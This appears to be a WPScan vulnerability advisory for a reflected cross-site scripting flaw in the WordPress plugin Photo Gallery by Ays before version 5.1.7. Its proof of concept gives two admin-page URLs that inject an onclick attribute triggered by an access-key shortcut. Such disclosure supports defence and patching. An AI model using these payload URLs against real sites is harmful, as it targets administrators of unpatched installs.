WordPress Plugin Vulnerabilities
Photo Gallery by Ays < 5.1.7 - Reflected XSS
Description
The plugin does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open one of the URLs below v < 5.1.7 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery-settings&ays_gpg_tab=" accesskey=X onclick=alert(/XSS/)// v < 5.1.6 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&action=edit&gallery=1&ays_gpg_settings_tab=" accesskey=X onclick=alert(/XSS/)// The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X
Affects Plugins
Fixed in 5.1.7 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-05-16 (about 1 years ago)
Added
2023-05-16 (about 1 years ago)
Last Updated
2023-05-16 (about 1 years ago)
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